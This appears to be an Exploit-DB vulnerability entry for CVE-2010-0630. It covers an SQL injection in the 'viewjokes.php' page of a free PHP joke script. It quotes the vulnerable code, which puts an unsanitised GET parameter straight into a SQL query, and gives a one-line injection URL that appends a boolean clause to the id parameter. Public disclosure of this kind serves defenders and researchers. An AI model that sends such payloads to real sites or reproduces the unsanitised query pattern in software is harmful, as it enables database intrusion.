Exploit database

EDB-11306

Evernew Free Joke Script - 'viewjokes.php' SQL Injection (SQLi)

Exploit-DBphpwebapps
Download source

Sources for CVE-2010-0630

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

EDB-11306.txt

Text · 518 bytes
/*

Name : Evernew Free Joke Script (viewjokes.php) SQL Injection
WebSite : www.evernewscripts.com

Author : Hamza 'MizoZ' N.
Email : [email protected]

Greetz : Zuka , int_0x80 , geeksec.com ... a loot

*/

# VULN CODE ]--[ viewjokes.php :

$id=$HTTP_GET_VARS['id'];
$title=$HTTP_GET_VARS['title'];

stuffViewer($id, 'jokes');

$query="select * from jokes where id=$id";
$allresults=mysql_query($query);
$viewjokes=mysql_fetch_array($allresults);

# EXPLOIT :

http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1--